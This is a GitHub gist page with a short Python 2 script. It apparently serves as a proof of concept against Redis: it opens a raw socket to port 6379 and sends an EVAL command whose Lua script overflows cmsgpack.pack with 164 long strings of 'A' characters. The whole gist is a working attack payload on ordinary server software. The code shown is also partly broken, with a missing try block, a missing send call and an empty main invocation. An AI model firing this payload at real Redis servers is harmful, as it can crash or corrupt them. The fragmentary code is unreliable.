Skip to content

Instantly share code, notes, and snippets.

Created May 9, 2018 16:57
  • Star 8 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
What would you like to do?
import os
import socket
server = ''
port = 6379
def send_to_redis(server, port, data, timeout=2):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
except socket.timeout:
print 'Unable to connect to target ; returning'
return None
def main():
val = '"%s"' % ('A'*500)
script = "cmsgpack.pack("
for x in range(164):
script += "%s," % val
script = script[:-1]
script += ")"
payload = "*3\r\n$4\r\nEVAL\r\n$%s\r\n%s\r\n$1\r\n0\r\n" % (len(script),script)
send_to_redis(server, port, payload)
if __name__ == '__main__':
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment